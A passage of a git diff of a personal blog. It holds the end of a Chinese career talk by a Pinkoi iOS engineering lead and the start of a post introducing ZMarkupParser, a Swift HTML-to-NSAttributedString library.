[Linkedin](https://www.linkedin.com/events/pinkoidevelopers-night2022%E5%B9%B4%E6%9C%AB%E4%BA%A4%E6%B5%81%E6%9C%836996042147682537472/comments/){:target="_blank"} + +主要聽眾:各大專院校資訊相關科系在校學生 + +地點時間:2022/12/01 7:00 PM — 9:00 PM + +分享時長:15 mins +#### About Me + + +![](/assets/4b9d09cea5f0/1*Vt7wxZ9fxHIXslFQNEIVkA.png) + + +目前擔任 Pinkoi Platform \(App\) Engineer Lead 兼 iOS Engineer,之前待過 [街聲](https://streetvoice.com/){:target="_blank"} 、 [數字科技\(](https://www.addcn.com.tw/index-index.html){:target="_blank"} 上櫃 5287\)、 [新創公司](https://www.bnext.com.tw/article/49099/starwing-got-30-millions-a-round-investment){:target="_blank"} ;從高職開始自學網站程式設計,曾獲 [全國技能競賽](https://skillsweek.wdasec.gov.tw/skillsweek/about/about/1){:target="_blank"} 網頁設計職類冠軍及備取國手,畢業於臺灣科技大學資管系,2017 年轉職 iOS App 開發。 + +熱衷於探索與技術交流,也會寫寫日常生活或開箱體驗,歡迎大家追縱我的 [Medium Blog](https://blog.zhgchg.li){:target="_blank"} 。 +#### Pinkoi Engineer 日常 — 產品 + + +![](/assets/4b9d09cea5f0/1*xoJIOnV99dWZYtRfTT-s8Q.png) + + + +![](/assets/4b9d09cea5f0/1*Lm4A_XaOytg0ToDdRtrECA.png) + + +Pinkoi 產品支援電腦版、手機版、iOS、Android 四種平台及繁體中文、香港繁體、簡體中文、日文、泰文、英文六種語系。 + +幕後有 8\+ 個小隊\(Squad Team\)負責不同面向的工作,例如:Buyer Squad 負責買家端、Seller Squad 負責賣家端、Platform Squad 負責底層、AI Squad 負責算法…等等,一同打造 Pinkoi 產品。 +#### Pinkoi Engineer 日常 — 工具 + + +![請注意:本圖非全面或最新的 Tech Stack](/assets/4b9d09cea5f0/0*Fx7UUNQyYg0Z5HTH) + +請注意:本圖非全面或最新的 Tech Stack + +工欲善其事必先利其器,上圖列舉了 Pinkoi 開發團隊,背後的 Tech Stack 及有使用到的工具服務;另外也列舉了跨團隊協作工具 Slack、Asana、Figma …等等服務。 + +隨團隊規模人數不斷成長,會有更多時候需要溝通或重複性工作,此時透過引入工具服務,可以很好的解開人與人的連結,增加團隊工作效率。 +#### Pinkoi Engineer 日常 — 幕後「功」「臣」 + + +![](/assets/4b9d09cea5f0/1*bfvrQMYwECWxUculU7HiPg.png) + + +在 Pinkoi 雖然工程師被分派在各個 Squad Team 之中,但彼此之間仍會同心協力, **Win as a team, 我們都還是同個家庭** 。 +#### Pinkoi Engineer 日常 — 幕後「功」「臣」 + + +![](/assets/4b9d09cea5f0/1*Njtyd5CbTKLtceTh9u0d_A.png) + + +同職能的隊友\(e\.g\. iOS/Android/BE/FE/Data…\) 除了會定期舉行技術交流分享外,在日常開發上也會互相 Code Review、進行 System Design 討論;一同討論、一齊成長! + + +![](/assets/4b9d09cea5f0/1*GIf38JFG_0ALFvBO0IsYZQ.png) + + + +![](/assets/4b9d09cea5f0/1*esQcrIl9enC4fr250cI2SQ.jpeg) + + +上圖中間的「乖乖」紋身貼紙,是團隊「 [送禮清單](https://www.pinkoi.com/){:target="_blank"} 」功能上線及「 [2022 Pinkoi Design Fest 風格設計節](https://www.pinkoi.com/topic/pinkoi_designfest){:target="_blank"} 」活動的 **祈福儀式** ,確保服務平平安安穩穩定定。 +#### **Engineer 如何幫助推進商業目標?** + + +![](/assets/4b9d09cea5f0/1*PL7MVwYZaDIepnluRTnuew.png) + + +除了完成任務外,Engineer 還有許多能幫助推進商業目標的地方: + +首先撇開 Engineer 角色的束縛,以自身為出發點;我們可以在專案規劃時期,提出自己生活使用經驗及各種有創意的發想,例如:有觀察到朋友的使用習慣或新流行的酷東西 \(e\.g\. iOS 16 動態島\),集思廣益之下,說不定就能讓本來平凡無奇的功能變成全新的亮點! + +再來回到工程本身,第一當然是必備的開發能力,好的開發能力能保有擴充及穩定性,減少技術債的產生,減少日後維護成本,變相增進商業價值;同樣地,正確的技術選擇,也能在有限的開發資源下發揮最大的價值;這些都需要很多硬實力及經驗累積。 + +除此之外,發揮溝通協調能力能讓跨工程討論更有效率、發揮協作能力能減少重工發生;都能大大增加團隊產出,更進一步推進商業目標。 + +綜合以上,工程師絕對不是只能靠寫程式創造價值。 +#### Engineer 如何幫助推進商業目標? + + +![](/assets/4b9d09cea5f0/0*-rMnP7IDpWhdTHCc) + + +在 Pinkoi,小隊 \(Squad Team\) 的 Sync\-up 或專案討論會議,除工程師之外還會有設計師、PM、分析師,一同參與專案討論;人人都可以提出自己的想法,激發出不同的火花。 +#### **身為 Engineer,選擇加入具新創文化而非一般傳統大公司的原因…?** + + +![](/assets/4b9d09cea5f0/1*9exlQqvnQi1wmDzYIsejZQ.png) + + +個人體驗,新創文化\(also in Pinkoi\)有五個特性: +- **透明** +公司的營運狀況、決策跟未來規劃,所有人都能清楚知道 +- **平等** +扁平化管理,不會有階級壓力 +不分職務大家都能表達意見、參與討論 +- **視野** +跟隨團隊一同成長,從小團隊到國際化團隊,增進視野 +結合透明與平等,能了解更多方面的眉眉角角 +- **彈性** +\- 工作上的彈性: +上班時間、WFH 的彈性或溝通協作上都有很多彈性討論空間 +\- 職務上的彈性: +有更多嘗試不同可能的彈性 +更多升遷的彈性 +- **活躍** +平均年齡相對年輕有活力,更容易產生共鳴迸出火花,也較容易推動、接納改變 + + +這些特性,以往在傳統大公司就比較不容易看到,傳統公司多半比較封閉跟一版一眼,很難有提議空間,能看到跟做的事也很有限,對於新的改變嘗試也比較排斥;對有活力的新鮮人來說相對比較難發揮。 +#### **給想當軟體工程師的新鮮人一點建議…** + + +![](/assets/4b9d09cea5f0/0*eoNBetkh9jhdLKlX) + + + +![](/assets/4b9d09cea5f0/1*LqHi66bkUZpl4r4p4nyn3w.png) + + +工程師 28 歲 v\.s\. 工程師 46 歲 \(Elon Musk 也曾是工程師\);雖然是梗圖,但想表達的是要成為怎麼樣的工程師,都是由你自己決定。 +#### 給想當軟體工程師的新鮮人一點建議… + + +![](/assets/4b9d09cea5f0/1*n9y-QLUAGocW8o0KT7zrDg.png) + + +除了精實開發能力之外,我覺得更重要的是心態問題,人生是一場旅程,有很多階段與角色需要完成;第一個是需要時時刻刻跳脫舒適圈,持續準備好面對更高的挑戰;像我最一開始其實後端工程師,後來轉 iOS 開發,現在開始挑戰管理職。 + +第二是方向的探索,不要畫地自限,每個人都有無限可能,可以持續調整找到適合自己的方向,在拿手領域發光發熱;我們有隊友也是後期才轉職工程師或是從設計師轉職 PM,另外也可以想一下自己 30 歲、 40 歲想成為什麼角色,例如:繼續鑽研技術變架構師/Tech Lead,或是改擔任管理職。 + +還有終身學習,學無止盡,尤其我們是資訊行業,千變萬化,如果沒有求新求變很容易被業界淘汰 + +最後一點也很重要,要保持工作與生活的平衡,Work Hard, Play Hard 除了能提升工作效率,也能從生活經驗汲取工作靈感,如同前面所說,也許一個小創意就能改變世界、創造更高的商業價值! + +建議新鮮人 **謹慎選擇** 前幾份工作,初出社會沈默成本很低;可以先以能學到東西為找工作第一考量,盡量先選擇加入自己有做產品的公司 \(e\.g\. [Pinkoi](https://www.pinkoi.com/about/careers){:target="_blank"} /Line/StreetVoice…\) 並不要太頻繁地更換職務 \(至少待個一年起\),對未來職涯會很有幫助。 + + +> 人生路還很長,希望大家找到屬於自己的路,謝謝。 + + + + + +立即加入 Pinkoi >>> [https://www\.pinkoi\.com/about/careers](https://www.pinkoi.com/about/careers){:target="_blank"} +#### 花絮 + + +![](/assets/4b9d09cea5f0/1*R9gypx3awaQVSANZdilwBQ.jpeg) + + + +![](/assets/4b9d09cea5f0/1*UKR8SYTaQ9tcFKP1tUWIyg.jpeg) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/pinkoi-2022-open-house-for-genz-15-mins-career-talk-4b9d09cea5f0){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2023-02-26-a5643de271e4.md b/_posts/zmediumtomarkdown/2023-02-26-a5643de271e4.md new file mode 100644 index 000000000..a7216877b --- /dev/null +++ b/_posts/zmediumtomarkdown/2023-02-26-a5643de271e4.md @@ -0,0 +1,226 @@ +--- +title: "ZMarkupParser HTML String 轉換 NSAttributedString 工具" +author: "ZhgChgLi" +date: 2023-02-26T09:03:07.570+0000 +last_modified_at: 2023-08-05T16:16:21.987+0000 +categories: "ZRealm Dev." +tags: ["html-parser","nsattributedstring","ios-app-development","html","markdown"] +description: "轉換 HTML String 成 NSAttributedString 對應 Key 樣式設定" +image: + path: /assets/a5643de271e4/1*A0yXupXW9-F9ZWe4gp2ObA.jpeg +render_with_liquid: false +--- + +### ZMarkupParser HTML String 轉換 NSAttributedString 工具 + +轉換 HTML String 成 NSAttributedString 對應 Key 樣式設定 + +#### [ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} / [ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"} + + +![[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} / [ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"}](/assets/a5643de271e4/1*A0yXupXW9-F9ZWe4gp2ObA.jpeg) + +[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} / [ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"} + + +[![](https://repository-images.githubusercontent.com/602927147/57ce75c1-8548-449c-b44a-f4b0451ed5ea)](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"} + +#### 功能 +- 使用純 Swift 開發,透過 Regex 剖析出 HTML Tag 並經過 Tokenization,分析修正 Tag 正確性\(修正沒有 end 的 tag & 錯位 tag\),再轉換成 abstract syntax tree,最終使用 Visitor Pattern 將 HTML Tag 與抽象樣式對應,得到最終 NSAttributedString 結果;其中不依賴任何 Parser Lib。 +- 支援 HTML Render \(to NSAttributedString\) / Stripper \(剝離 HTML Tag\) / Selector 功能 +- 自動分析修正 Tag 正確性\(修正沒有 end 的 tag & 錯位 tag\) +`
` \-> `
` +`BoldBold+ItalicItalic` \-> `BoldBold+ItalicItalic` +`` \-> `` \(treat as String\) +- 支援客製化樣式指定 +e\.g\. `` \-> `weight: .semilbold & underline: 1` +- 支援自行擴充 HTML Tag 解析 +e\.g\. 解析 `` 成想要的樣式 +- 包含架構設計,方便對 HTML Tag 進行擴充 +目前純了支援基本的樣式之外還支援 ul/ol/li 列表及 hr 分隔線渲染,未來要擴充支援其他 HTML Tag 也能快速支援 +- 支援從 `style` HTML Attribute 擴充解析樣式 +HTML 可以從 style 指定文字樣式,同樣的,此套件也能支援從 `style` 中指定樣式 +e\.g\. `` \-> `粗體+字型 20 px` +- 支援 iOS/macOS +- 支援 HTML Color Name to UIColor/NSColor +- Test Coverage: 80%\+ +- 支援 `` 圖片、 `